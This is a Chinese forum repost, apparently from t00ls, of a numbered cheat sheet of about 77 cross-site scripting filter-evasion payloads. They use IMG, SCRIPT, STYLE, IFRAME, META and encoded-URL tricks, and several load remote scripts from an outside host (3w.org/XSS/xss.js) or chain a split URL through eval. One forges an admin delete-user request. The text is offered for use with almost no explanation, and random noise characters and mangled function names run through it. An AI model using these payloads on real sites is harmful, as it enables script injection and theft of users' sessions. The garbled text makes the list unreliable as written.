貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
1 t7 m6 O% s+ O1 a8 m4 g) _, t(1)普通的XSS JavaScript注入2 n5 ]) [5 G: Q9 X" l& R
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>$ d+ o$ N0 O) Z6 d
(2)IMG标签XSS使用JavaScript命令
2 V/ l! Z1 T3 e0 \- A. I0 x<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>9 b1 f8 t0 Z+ }& h3 ^
(3)IMG标签无分号无引号
0 h5 g$ ]$ s5 |. c- ^8 c0 Z0 _<IMG SRC=javascript:alert(‘XSS’)>
1 {4 x* i% ^) C$ g+ I9 Z(4)IMG标签大小写不敏感
2 p; C$ r0 M3 A: q<IMG SRC=JaVaScRiPt:alert(‘XSS’)>! H3 z* \7 W7 L
(5)HTML编码(必须有分号) E6 v5 J7 q4 K6 ~$ Y
<IMG SRC=javascript:alert(“XSS”)>
, }8 v( s( H8 I1 a# q3 I& k; b% _(6)修正缺陷IMG标签+ H0 G- U5 P# |0 k# {. i7 M
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>8 N6 M% I4 ?2 ^) v2 c3 _8 e
! o" e3 n) N, G' h& d& r7 C! _" }8 N0 Z
(7)formCharCode标签(计算器)
5 d; y/ q+ B8 ^& j" k! _. l4 \* ~<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>2 |4 e9 G/ Z2 ~
(8)UTF-8的Unicode编码(计算器)
/ S( K$ r( [9 M0 w- v6 W& o0 W<IMG SRC=jav..省略..S')>4 }) B2 ?7 I( j9 |
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)$ J, L3 @6 w; I: n: o( W! `
<IMG SRC=jav..省略..S')>. z- k+ U) c/ J& _' d9 o) n( Y, K
(10)十六进制编码也是没有分号(计算器) w- `8 n% U4 c/ t9 L; f( u
<IMG SRC=java..省略..XSS')># }8 H k& L* o
(11)嵌入式标签,将Javascript分开
: E' k5 w+ Q5 ~ E; ~<IMG SRC=”jav ascript:alert(‘XSS’);”>) Q; z2 X- @& U
(12)嵌入式编码标签,将Javascript分开6 G0 d6 N) a- Y; c' P$ [/ l; j- \+ N/ G
<IMG SRC=”jav ascript:alert(‘XSS’);”>
# y/ Y2 V/ s% D B(13)嵌入式换行符
! A2 {' T/ @' u+ Z- \<IMG SRC=”jav ascript:alert(‘XSS’);”>& v! L/ r+ ?: V+ z9 s% n
(14)嵌入式回车/ r; k/ ^9 M! ]- D0 i* r
<IMG SRC=”jav ascript:alert(‘XSS’);”>
. z/ w) k( S9 X. F8 a(15)嵌入式多行注入JavaScript,这是XSS极端的例子
2 w" g6 N7 A9 V; l1 d' z$ y4 V1 o<IMG SRC=”javascript:alert(‘XSS‘)”>6 Y/ N- q$ N/ w- ~6 V4 J3 P4 z
(16)解决限制字符(要求同页面)- q7 ?4 g3 B$ W" U, U( ^
<script>z=’document.’</script>
5 j4 j! _: E* @/ t, Y<script>z=z+’write(“‘</script>
# K* g; f% M; g9 x<script>z=z+’<script’</script>
( l7 z) t- y2 A$ F<script>z=z+’ src=ht’</script>% S$ }7 G9 P, @: @- A
<script>z=z+’tp://ww’</script>% c( O. N2 v5 w# [/ Q* I
<script>z=z+’w.shell’</script>3 z) `* J7 p0 D8 R) E4 g
<script>z=z+’.net/1.’</script>
& [' r( z( C- `: u<script>z=z+’js></sc’</script>( `7 K0 j- J, C7 h$ b
<script>z=z+’ript>”)’</script># p/ s m8 ?! T$ U
<script>eval_r(z)</script>& Y/ H* y" T/ M0 ?
(17)空字符12-7-1 T00LS - Powered by Discuz! Board
# f3 z+ {+ ?" T9 Fhttps://www.t00ls.net/viewthread ... table&tid=15267 2/6) K) q/ ?- K: e! n3 g3 F
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
4 ~0 M+ E% F' m; b(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用9 t' B" `8 H( N2 N1 l9 O3 r7 C
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out) J2 \, ]+ n8 L2 a8 E, ]* s
(19)Spaces和meta前的IMG标签4 E* w( Q7 D; S% j4 g
<IMG SRC=” javascript:alert(‘XSS’);”>
. Y2 u4 }% }: g* B(20)Non-alpha-non-digit XSS
1 `7 {2 s# s9 Z. t! I& u. y U<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>& J0 f, U% l4 d5 b
(21)Non-alpha-non-digit XSS to 25 Y' H) C9 D: h5 p3 o% l: Y& G
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>+ }8 j2 O: b1 X" u( @
(22)Non-alpha-non-digit XSS to 3/ i# y0 [( y \; ?9 |- W
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
$ F- R; J- e, z(23)双开括号+ _9 N' o: w" T
<<SCRIPT>alert(“XSS”);//<</SCRIPT>! Y" j& J1 G9 F8 f4 M7 E6 @
(24)无结束脚本标记(仅火狐等浏览器)8 L% k( K. q7 \3 d4 F+ K5 O
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>+ t# H1 X' e4 b% M7 j5 D
(25)无结束脚本标记2
( \9 y5 r4 T" p5 t. F( h. U<SCRIPT SRC=//3w.org/XSS/xss.js>) g Q: T/ ?% O, S4 n- q6 [
(26)半开的HTML/JavaScript XSS
) G, ?: E+ L( C, y: _0 p! K<IMG SRC=”javascript:alert(‘XSS’)”. r& z, [/ h0 \
(27)双开角括号
) w! v. C1 W4 c' J# ?; @1 `- [5 N<iframe src=http://3w.org/XSS.html <. x9 y A7 z9 `; Z- n3 K+ L" n
(28)无单引号 双引号 分号
! ?4 S0 f9 L, b; G<SCRIPT>a=/XSS/
6 L. W- G+ w) g$ F9 ~$ Halert(a.source)</SCRIPT>$ N8 w: m% H! R' k$ g
(29)换码过滤的JavaScript: S$ J" ], }+ Q2 a
\”;alert(‘XSS’);//+ N- t& e0 V2 r$ J' Q" W
(30)结束Title标签
/ S3 M: t4 u2 V0 c2 o2 Y5 z</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
3 t% i" j: m0 T2 m3 V(31)Input Image
" u3 D$ e4 C8 v. s6 ]<INPUT SRC=”javascript:alert(‘XSS’);”>
& S6 { ^5 }6 S2 `(32)BODY Image
2 C8 J) W9 _; h7 Y/ V<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
7 H. ?' h# M$ x# Z: K6 p(33)BODY标签
5 T) @+ g, O) Z6 ?0 O<BODY(‘XSS’)>- L# i' m$ e* }0 ~
(34)IMG Dynsrc
: k; k% U! G9 m1 |0 N& ~1 ^" p<IMG DYNSRC=”javascript:alert(‘XSS’)”>
/ ^2 s2 y8 u* S" r/ n7 ?(35)IMG Lowsrc
- K% a# \* u p+ h$ d' E<IMG LOWSRC=”javascript:alert(‘XSS’)”>! [/ w5 T1 N: y
(36)BGSOUND6 C1 w! v! c7 J8 D0 Q
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
+ t; Z8 K' y. B" T(37)STYLE sheet
7 R) q, @. V! z! I$ x! {9 O<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
+ q/ v, ^* C; }(38)远程样式表
6 v l2 C8 s' ^<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
9 s% P* q0 {% e. m(39)List-style-image(列表式)% e# Z+ O1 d0 C0 I. ?! c; q
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
9 e7 ~5 I% s7 ~- c4 d, f(40)IMG VBscript
- g8 T6 t" G) d4 A, D" m<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS- E; S. g3 ]& h2 q
(41)META链接url4 H" `+ [8 X) z" Y1 W C, [
4 V, b/ s- |' p6 |
/ O8 {/ a( n5 H- u& a6 t<META HTTP-EQUIV=”refresh” CONTENT=”0;+ T, U! N- x' o r& v, k+ t( L
URL=http://;URL=javascript:alert(‘XSS’);”>8 D' d( T( I* x: i3 ~3 A
(42)Iframe
) H- {9 k2 t3 s q$ e R0 q3 p- m<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
1 L# L# i& a! e7 O(43)Frame: S. p+ M8 d' M, l
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board; i; Q& I) s7 p# K
https://www.t00ls.net/viewthread ... table&tid=15267 3/6& A* S6 D# F7 A2 i4 Q
(44)Table4 `1 o# a. I, l, y
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>0 E6 R5 O* X' b& I: @4 v ^. P
(45)TD2 A9 H9 N' \. m
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
* ]: S- H% i' t) t(46)DIV background-image
+ Z+ c0 a0 g9 o+ L2 ]<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>" v i% w0 K# I3 i& d
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-7 G7 t/ k( R7 _1 J0 }
8&13&12288&65279)
$ P+ j4 F3 x3 K<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
- y8 v5 G, s9 }1 d E' h' [(48)DIV expression4 [+ N$ Q# G: d. h; a
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>6 h6 q3 Z" M9 a& m
(49)STYLE属性分拆表达 o/ j s% `9 l4 z" J3 `
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
% j2 O( P; [# c8 B$ s(50)匿名STYLE(组成:开角号和一个字母开头) ?8 _: [9 b8 S+ D/ H! r
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>1 C+ T# [: O- G5 S l5 u$ N8 X9 s
(51)STYLE background-image" G/ r' l$ b7 B$ f* Z' p8 o
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A
0 b/ Q5 j/ ]2 g! zCLASS=XSS></A>) n% D8 C% p: |& E( Y* |
(52)IMG STYLE方式. b. l) j7 F2 w4 z* q
exppression(alert(“XSS”))’>
- s2 M( i8 I; F# R4 n4 }1 m6 s(53)STYLE background% A6 i4 O( Y* ~& ^% j
<STYLE><STYLE
0 \# h, c+ W$ r$ X* V$ g6 c4 M9 T5 dtype=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
6 o# Z8 t' T* C" e; L) k(54)BASE
7 |- W }, U U% [7 H; h<BASE HREF=”javascript:alert(‘XSS’);//”>
) X; I2 x& @1 F* n4 v! \, w(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
% r, u2 P# G" T7 F. H<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
$ J) |+ R$ I- |0 n(56)在flash中使用ActionScrpt可以混进你XSS的代码
2 V" o! ^5 f- Q; i( v1 ~- za=”get”;
# \! d3 s3 {' U. ^b=”URL(\”";
. Q2 r( a% B, @2 e, |$ Ic=”javascript:”;
* h* L4 m3 Z& Od=”alert(‘XSS’);\”)”;
! z* f+ B; u9 H* \- k. }4 C. keval_r(a+b+c+d);$ n- l& d: {' n
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
8 b6 |# S5 o% g3 N<HTML xmlns:xss>- [/ H! U$ `) N. `' ?- C
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>' p% M6 e( j6 n9 L) F3 m
<xss:xss>XSS</xss:xss>
. J: n* { X8 }0 A) p</HTML>2 T9 S! f2 E7 |9 w0 s
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用+ r( O$ e3 U- W+ E& p: p$ b
<SCRIPT SRC=””></SCRIPT>* C/ w2 s7 \/ v/ y" n
(59)IMG嵌入式命令,可执行任意命令; I. a9 u! ?! b* O! n! e! d
<IMG SRC=”http://www.XXX.com/a.php?a=b”>
9 i7 i* c: H) @(60)IMG嵌入式命令(a.jpg在同服务器)0 f+ I- I) v8 a6 O- g ^2 a
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
( j7 |, c z# V2 o0 Z6 l9 R1 {(61)绕符号过滤! d- Y5 w/ J% D" K0 X3 }
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>5 c; l H7 k, M4 J i, j9 q/ I
(62)
6 o/ A0 |) K3 [& a( @4 r; k3 N# Y<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>: \8 x# w; B2 f! N8 v& A
(63)
) s* Q$ V- [7 i9 p4 D; b<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
2 V% r- A! D# Y v8 E& A k(64)
/ I" A$ ]' l1 l: J$ @<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT># w( m3 ^, i4 k- B9 l5 r+ [
(65)9 f, r3 z* q2 k) U- v* L% j
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>$ q8 ?% s# `# U( E; p# }& Q
(66)12-7-1 T00LS - Powered by Discuz! Board4 ^5 S1 _8 h1 z$ q/ S4 P! J9 m: b- o
https://www.t00ls.net/viewthread ... table&tid=15267 4/6
6 x+ ~' |' x$ S3 a) i) L( m- t3 _<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
& Z2 C# j$ Q9 S+ B# W; J(67)
" Q$ {( y$ U( ?1 B<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”>
; r+ y3 K2 n1 I% E5 q6 F$ x2 r</SCRIPT>
- J9 k# k& D9 ?) t$ X(68)URL绕行
& v( a7 @0 _# A/ {- w, K5 V$ ?- N c<A HREF=”http://127.0.0.1/”>XSS</A>! s* S2 w+ H ^ M, }
(69)URL编码
* [/ o7 _ H0 R& c<A HREF=”http://3w.org”>XSS</A>7 f1 G& I8 R1 D- W" G3 ^5 G S t3 l
(70)IP十进制
" b( [4 d6 B. c7 k0 U<A HREF=”http://3232235521″>XSS</A>+ \1 O% t+ U; m
(71)IP十六进制" c% r, [# i: S) b! o$ L: H
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>+ G/ Y0 ?# b7 \9 s7 ?, V
(72)IP八进制
, R- a+ i& i* h0 v( g. F: E<A HREF=”http://0300.0250.0000.0001″>XSS</A>
4 h3 P6 p2 n/ x2 g! M(73)混合编码: W8 ?9 q: |- B ]: t/ j
<A HREF=”h
6 k" N' f7 L) J+ |4 \- L3 Jtt p://6 6.000146.0×7.147/”">XSS</A>. R6 R1 y; d8 ^0 b# K5 K! {
(74)节省[http:], @% L1 r, Q$ t9 W" z$ c6 _
<A HREF=”//www.google.com/”>XSS</A>* O3 \% \0 K: l& F4 k, _
(75)节省[www]
/ B o. p8 y: o+ Y9 \5 D9 a% V<A HREF=”http://google.com/”>XSS</A>! }; f& ?! ^' Y3 e, M- J; f9 x
(76)绝对点绝对DNS
[0 l' o9 M2 \) ]. r<A HREF=”http://www.google.com./”>XSS</A>
6 m) S0 t# F4 k& V X4 W m(77)javascript链接( a1 w8 U3 ^. I8 _0 ]9 B% r
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>4 r: Z) T8 \1 |# [1 J5 w6 o
7 r+ K+ z4 ?+ M
原文地址:http://fuzzexp.org/u/0day/?p=14
9 w' n8 z# M2 B
( y5 e' b8 G R- }5 i |